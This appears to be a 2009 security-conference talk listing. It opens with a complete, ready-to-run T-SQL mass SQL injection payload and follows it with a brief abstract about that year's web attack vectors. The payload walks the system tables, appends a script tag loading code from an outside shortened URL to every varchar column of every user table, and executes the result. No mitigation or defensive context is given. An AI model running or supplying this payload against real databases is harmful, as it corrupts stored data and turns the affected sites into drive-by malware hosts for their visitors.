Mass SQL Injection vector declare @m varchar(8000); set @m=''; select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://is.gd/31337"></script>'';' from dbo.sysobjects objs, dbo.syscolumns cols, dbo.systypes typs where objs.id=cols.id and objs.xtype='U' and cols.xtype=typs.xtype and typs.name='varchar'; set @m=REVERSE(@m); set @m=substring(@m,PATINDEX('%;%',@m),8000); set @m=REVERSE(@m); exec(@m);
As 2009 comes to a close, we look back on the bugs more
As 2009 comes to a close, we look back on the bugs of our days. The past few months have seen some interesting attacks. This talk takes a look at some of the most effective attack vectors of 2009. These, coupled with classic web hacking, social engineering and a bit of cleverness, increase the attack surface manifold. This year, my work goes beyond just browsers and looks at examples of mass ownage, new infection vectors, advanced client-side exploitation, malicious payloads, browser infection with toolbars and more. less
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